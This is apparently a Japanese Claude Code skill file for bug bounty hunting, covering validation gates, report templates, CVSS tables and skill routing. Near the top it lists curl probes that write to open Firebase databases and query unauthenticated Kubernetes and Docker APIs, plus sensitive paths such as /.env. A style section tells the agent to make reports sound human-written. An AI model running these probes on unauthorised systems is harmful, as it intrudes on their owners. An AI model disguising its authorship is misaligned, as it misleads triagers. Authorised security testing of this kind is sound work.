curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
公開された管理パネル
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
Kubernetes/Docker
# K8s API (unauthenticated):
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl --max-time 30 --connect-timeout 10 -s http://TARGET:2375/containers/json

フェーズ 4:検証

7 つの質問によるゲート(レポートを作成する前に必ず実施)

7 つすべてに「はい」と答えられる必要があります。1 つでも「いいえ」があれば、停止してください。

Q1:今すぐ、実際の PoC で悪用できますか?

正確な HTTP リクエストを記述してください。動作するリクエストを提示できない場合は、対象から外してください。

Q2:特別な操作を何もしていない実際のユーザーに影響しますか?

「ユーザーが〜する必要がある」という前提条件が 5 つもある状況ではありません。被害者は特別なことを何もしていません。

Q3:影響は具体的ですか(金銭、PII、ATO、RCE)?

「技術的に可能」は影響ではありません。「被害者の SSN を読み取った」は影響です。

Q4:プログラムのポリシー上、対象範囲に含まれていますか?

プログラムの対象範囲ページで、該当するドメイン/エンドポイントを正確に確認してください。

Q5:重複がないか、Hacktivity/変更履歴を確認しましたか?

プログラムで公開されているレポートと最近の変更履歴を検索してください。

Q6:「常に却下される」リストに含まれていませんか?

以下のリストを確認してください。該当していて、ほかの問題と組み合わせられない場合は、対象から外してください。

Q7:この内容を読んだトリアージ担当者は「はい、これは実際のバグです」と言うでしょうか?

金曜日の午後 5 時に疲れたトリアージ担当者になったつもりで、レポートを読んでください。納得できる内容ですか?

注意点

  • 理解しないまま過度に自動化する — すべてのサブドメインに対して nuclei、ffuf、dalfox を実行すると、WAF によるブロック、レート制限、IP 禁止が発生します。-rate と -t フラグを使用してください。手動での調査では、自動スキャナーが見逃すバグを見つけられます。
  • 「5 分ルール」に違反する — 401/403/404 しか返さない対象にこだわるのは時間の無駄です。5 分間何も得られなければ、次に進んでください。
  • 「可能性がある」だけではバグではない — 影響を実証していない理論上の攻撃は却下されます。動作を証明するか、対象から外してください。発見事項ではすべて、資金の窃取、PII の漏えい、アカウント乗っ取り、コード実行など、実際の被害を示す必要があります。
  • 秘密情報を含まないソースマップ — .map ファイルを見つけても、偵察レベルの情報であり、脆弱性ではありません。抽出した認証情報や API キーと組み合わせられる場合に限り、報告してください。
  • DNS のみのコールバックによる SSRF — DNS の Pingback だけでは影響を証明できません。データの持ち出し、内部サービスへのアクセス、またはクラウドメタデータの取得が必要です。
  • オープンリダイレクト単体 — OAuth の連鎖や ATO へのエスカレーション経路がなければ、せいぜい情報提供レベルです。報告する前に、連鎖全体を構築してください。
  • 手法を定めない総当たり — 1 回のセッションで XSS、IDOR、SSRF、キャッシュポイズニングの間を飛び回ると、確実に調査が浅くなります。セッションごとにバグのクラスを 1 つだけ選び、深く調査してください。
  • 報告を先に作成し、後から検証する — 提出時点でもバグが動作することを確認せずに、先にレポートを作成することです。提出の数分前に、必ず再テストしてください。
  • テストアカウント 1 つだけで自分自身をテストする — IDOR/ATO のバグには 2 つのアカウント(攻撃者+被害者)が必要です。1 つのアカウントを使って自分自身をテストしても、何も証明できません。
  • 公開済みレポートを先に読まない — 対象範囲外、またはすでに十分に緩和されたバグのクラスを何時間も探すのは時間の無駄です。調査を始める前に、公開済みレポートを 3 件以上読んでください。
  • サブドメイン列挙による対象範囲の逸脱 — すべてのサブドメインが対象によって所有されていることを確認してください。通常、サードパーティのサービスは対象範囲外です。
  • 新機能=未レビュー — 過去 30 日以内に公開されたものは、セキュリティ成熟度が最も低く、バグ密度が最も高い傾向にあります。

提出前の 4 つのゲート

ゲート 0:現実性の確認(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
ゲート 1:影響の検証(2 分)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
ゲート 2:重複の確認(5 分)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
ゲート 3:レポートの品質(10 分)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 クイックガイド

要素低(0~3.9)中(4~6.9)高(7~8.9)重大(9~10)
攻撃ベクトル物理ローカル隣接ネットワーク
権限高低なしなし
ユーザー操作必要必要不要不要
影響部分的部分的高高(3 項目すべて)
バグクラスごとの一般的なスコア
バグ一般的な CVSS深刻度
IDOR(PII の読み取り)6.5中
IDOR(書き込み/削除)7.5高
認証バイパス -> 管理者9.8致命的
格納型 XSS5.4-8.8中〜高
SQLi(データの持ち出し)8.6高
SSRF(クラウドメタデータ)9.1致命的
競合状態(二重支払い)7.5高
GraphQL 認証バイパス8.7高
JWT の none アルゴリズム9.1致命的

常に却下されるもの -- 絶対に報告しないでください

CSP/HSTS/セキュリティヘッダーの欠如、SPF/DKIM/DMARC の欠如、GraphQL のイントロスペクションのみ、動作する CVE エクスプロイトを伴わないバナー/バージョン情報の開示、機密情報を扱わないページでのクリックジャッキング、タブナビング、CSV インジェクション、認証情報の持ち出し PoC を伴わない CORS ワイルドカード、ログアウト CSRF、セルフ XSS、単独のオープンリダイレクト、モバイルアプリ内の OAuth クライアントシークレット、DNS ping のみの SSRF、単独の Host ヘッダーインジェクション、重要でないフォームのレート制限の欠如、ログアウト時にセッションが無効化されないこと、同時セッション、内部 IP の開示、混在コンテンツ、SSL の脆弱な暗号、HttpOnly/Secure Cookie フラグの欠如のみ、壊れた外部リンク、アカウント事前乗っ取り(通常)、パスワードフィールドのオートコンプリート。

N/A は有効性比率を下げます。Informative は中立です。7 項目のゲートを通過したものだけを報告してください。

チェーンと組み合わせることで有効になる場合があるもの

以下の低リスクの指摘は、チェーンと組み合わせると有効なバグになります。

低リスクの指摘+ チェーン= 有効なバグ
オープンリダイレクト+ OAuth コードの窃取ATO
クリックジャッキング+ 機密性の高い操作 + PoCアカウント操作
CORS ワイルドカード+ 認証情報を伴う持ち出しデータ窃取
CSRF+ 機密性の高い状態変更アカウント乗っ取り
レート制限なし+ OTP のブルートフォースATO
SSRF(DNS のみ)+ 内部アクセスの証明内部ネットワークへのアクセス
Host ヘッダーインジェクション+ パスワードリセットの汚染ATO
セルフ XSS+ ログイン CSRF被害者に対する格納型 XSS

フェーズ 5:報告

HackerOne の報告テンプレート

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd の報告テンプレート

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

人間らしい文体のルール(AI らしい文章を避ける)

  • 脆弱性の名前ではなく、影響から文を始める
  • 教科書のように書くのではなく、知識のある開発者に説明するように書く
  • 「I」を使い、能動態で書く。「A vulnerability was discovered...」ではなく「I found that...」とする
  • 抽象的な文を 3 つ書くより、具体例を 1 つ示す
  • em ダッシュや、「comprehensive/leverage/seamless/ensure」は使わない

報告タイトルの形式

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

良いタイトル:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

悪いタイトル:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

影響の記述の形式(第 1 段落)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

送信前の 60 秒チェックリスト

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

深刻度の引き上げに使う表現

報奨金が引き下げられようとしている場合は、以下の反論を使います。

プログラム側の主張こちらの反論
「認証が必要」「攻撃者に必要なのは無料アカウントだけです(特別なロールは不要です)」
「影響は限定的」「[N] 人のユーザー/[PII の種類]/[$ の金額] に影響します」
「既知の問題」「報告番号を教えてください。検索しましたが見つかりませんでした」
「仕様どおり」「これが意図された動作だと示すドキュメントを提示してください」
「CVSS スコアが低い」「CVSS ではビジネスへの影響は考慮されません。攻撃者は [X] を窃取できます」

リソース

バグバウンティプラットフォーム

学習

単語リスト

  • SecLists -- 包括的な単語リスト
  • HowToHunt -- 脆弱性ハンティングのステップバイステップガイド
  • DefaultCreds -- デフォルトの認証情報

ペイロードデータベース


インストール(Claude Code スキル)

これを Claude Code スキルとして使用するには、このファイルをスキルディレクトリにコピーしてください。

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl --max-time 30 --connect-timeout 10 -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

その後、バグバウンティ、偵察、脆弱性ハンティングについて質問すると、このスキルが Claude Code で自動的に読み込まれます。


検証

ツールキットが正常に動作することを確認するため、次のセルフテストを実行してください。

  1. コアツールの確認 — 必須の Go バイナリがインストールされていることを確認します:

    which subfinder httpx nuclei katana ffuf dalfox gau waybackurls 2>/dev/null
    
  2. FFUF キャリブレーションテスト — -ac による自動キャリブレーションが機能することを確認します:

    ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://example.com/FUZZ -ac -timeout 5 2>&1 | head -5
    
  3. Subfinder の接続性 — パッシブソースに接続できることを確認します:

    subfinder -d example.com -silent -timeout 30 2>&1 | head -3
    
  4. HackerOne API の到達可能性 — GraphQL エンドポイントにアクセスできることを確認します:

    curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" -o /dev/null -w "%{http_code}" && echo " PASS" || echo " FAIL"
    
  5. Semgrep のインストール確認 — 静的解析が利用可能であることを確認します:

    semgrep --version >/dev/null 2>&1 && echo "PASS: semgrep available" || echo "FAIL: pip3 install semgrep"
    

ツールキットが完全に動作するには、5 つすべてのテストに合格する必要があります。


関連スキルとチェーン

  • bb-methodology — ハンティングセッションを開始したとき、ユーザーが「次に何をすればよいかわからない」場合に使用します。ワークフローの基本構成:このスキルがオーケストレーターとなり、bb-methodology はそこから振り分けられる 5 フェーズのワークフローです。まず bb-methodology を読み込み、その後このスキルがトピックに合った hunt-* スキルを指定します。
  • hunt-dispatch — PART 0 モード(レッドチーム/WAPT)が確認された場合に使用します。ワークフローの基本構成:「何をすべきか」というこのスキルのルーティングから hunt-dispatch に引き継ぎ、プラットフォームのフィンガープリントとスキルセットの読み込みを行います。
  • web2-recon + offensive-osint — フェーズ 1(偵察)の開始時に使用します。ワークフローの基本構成:「標準偵察パイプライン」セクションから、実際の実行は web2-recon に、運用アーセナル(プローブ/単語リスト/正規表現)は offensive-osint に委任します。
  • triage-validation + report-writing — 検出事項がフェーズ 4 を完了したときに使用します。ワークフローの基本構成:このスキルから triage-validation(7Q ゲート)に振り分け、7 項目すべてに合格した場合に限り、プラットフォーム固有の報告書本文の作成を report-writing に引き継ぎます。

オペレーター向けメモ

ベンダー提供の基盤に、エンゲージメントから得られた知見を追加したものです。実際に許可を得たエンゲージメントからの知見と、このリポジトリの 31 件以上のスキル領域におけるライブテストを通じたフェーズ 2 の検証に基づいています。上流の手法が WHAT を扱うのに対し、このレイヤーは WHEN-IT-ACTUALLY-WORKS と FAILURE-MODES を扱います。

オーケストレーターと個別スキルの使い分け

オーケストレーター(このスキル)は、「どの脆弱性クラスをハンティングすればよいか、まだわからない」場合に使います。すでに候補を特定しているなら、「レスポンスに Host ヘッダーが JavaScript の src URL として反映されている。これはキャッシュポイズニングだ」のような場合、hunt-cache-poisoning を直接読み込んでください。オーケストレーターの価値は、「チャットボットがある。何をテストすればよいか」という漠然とした意図から、具体的なスキルセット(hunt-llm-ai + hunt-api-misconfig)へ最初に振り分けることにあります。

迷ったら、新しいターゲットではまずオーケストレーターを開き、振り分けを任せてから、オーケストレーターを閉じて読み込まれたスキルで作業してください。セッション中ずっとオーケストレーターを読み込んだままにしないでください。実際のプローブ結果を保持できるコンテキストウィンドウを占有してしまいます。

よくある誤用:すべての hunt-* を同時に読み込む

このリポジトリには 30 以上の hunt-* スキルがあります。それぞれが無視できない量のコンテキストを消費します。オーケストレーターの役割は、トピックに合わせて 2〜3 個を選ぶことであり、ライブラリ全体を読み込むことではありません。ユーザーが「この SaaS アプリをハントして」と言っても、すべての hunt-* スキルを読み込んではいけません。web2-recon + hunt-idor + hunt-api-misconfig(SaaS で一般的な 3 つのスキル)を選び、そこで止めてください。偵察の結果から特定の追加クラスが示された場合に限り、さらに追加します(例:GraphQL エンドポイントが見つかった場合は hunt-graphql を追加)。

hunt-dispatch との連携

このスキルはバグの分類(トピックの一致)に基づいてルーティングします。このリポジトリに追加された hunt-dispatch スキルは、エンゲージメントモード(レッドチームか WAPT か、ブラックボックスかグレーボックスか)に基づいてルーティングします。両者を組み合わせて使います。

  1. ユーザーが「hunt example.com」と言います
  2. bb-methodology PART 0 でモードを確認します(例:バグバウンティのブラックボックス)
  3. hunt-dispatch がプラットフォーム固有の攻撃プロファイルを読み込みます
  4. このオーケストレーター(bug-bounty)が、選択されたプロファイル内でトピックが一致する hunt-* スキルを指定します

どちらのステップも省略しないでください。モードによって何が検出事項に該当するかが決まり、トピックによって適用する手法が決まります。

エンゲージメントの足場

/hunt スラッシュコマンドと hunt <target> シェルヘルパー(このリポジトリの cmd/ ディレクトリを参照)は、エンゲージメントの足場を事前に作成します。

  • targets/<target>/scope.md — プログラムページから貼り付けた、宣言済みのスコープ
  • targets/<target>/findings/ — 検証済みの検出事項ごとの MD ファイル
  • targets/<target>/evidence/ — HAR、スクリーンショット、機密情報を伏せた curl の実行記録
  • targets/<target>/submissions.txt — 提出済みレポートの URL と状態のログ
  • targets/<target>/recon/ — subfinder | dnsx | httpx | katana の出力

最初から足場を活用してください。整理が不十分なエンゲージメントでは検出事項を見失います。2 時間目のプローブ結果が、14 時間目になって重要だと分かっても、記録していなければ復元できません。

オーケストレーターが誤った場合

このリポジトリで行った Phase 2 の検証テスト 30 件以上では、すべてのテストでオーケストレーターが一致するスキルを正しく自動的に呼び出し、誤動作は 0 件でした。今後のターゲットでオーケストレーターが誤ったルーティングをした場合(トピックに適さない hunt-* を読み込んだ場合)、原因はほぼ例外なく、対象スキルのフロントマターにある description: フィールドです。ユーザーの意図に一致するはずのキーワードが欠けています。対象スキルのフロントマターにある description: フィールドを編集して、欠けているトリガーワードを追加し、修正してください。ディスパッチロジックをさらに追加せず、説明を明確にしてください。

  • bb-local-toolkit — 特定のタスク向けのコマンドラインツールがどのローカルクローンにあるかを確認したいときに使います。ワークフローの基本要素として、このスキルは一般的なバグバウンティの指針を提供します。一方、bb-local-toolkit は「このマシンでは jhaddix/SecLists はどこにインストールされているか」という具体的な質問に答えます。

コメント